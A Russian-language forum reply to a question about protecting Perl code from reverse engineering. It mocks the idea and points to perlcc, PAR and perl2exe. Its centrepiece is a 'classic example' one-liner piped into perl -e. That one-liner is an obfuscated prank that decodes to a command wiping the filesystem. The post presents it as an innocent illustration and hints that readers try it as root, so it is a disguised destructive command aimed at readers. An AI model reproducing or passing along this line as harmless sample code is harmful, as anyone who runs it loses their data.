>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с Если на Perl'е писать как на Perl'е, а не как на PHP, то там и так уже всё "необратимо" зашифровано без всяких защит. И становится просто невыгодно нанимать школьников для поддержки и модернизации.
Вот классический пример:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Казалось бы строка кода, но уже из под root'a не запускается. По крайней мере у меня. Как ни бился с защитой - пришлось обращаться к автору.
Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых прокляты страшным проклятием геморроя. Те, которым вы хотите ограничения на использование ввести, проклянут вас страшным проклятьем половой дисфункции, если вы не сможете продлить им вовремя лицензию.
Если моя попытка донести вам свет самолично выстраданной мудрости провалилась, можете посмотреть в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам ворох новых проблем, ибо сыра в силу своей ненужности.
P.S. Период пишется через "О". Проверочное слово периодический.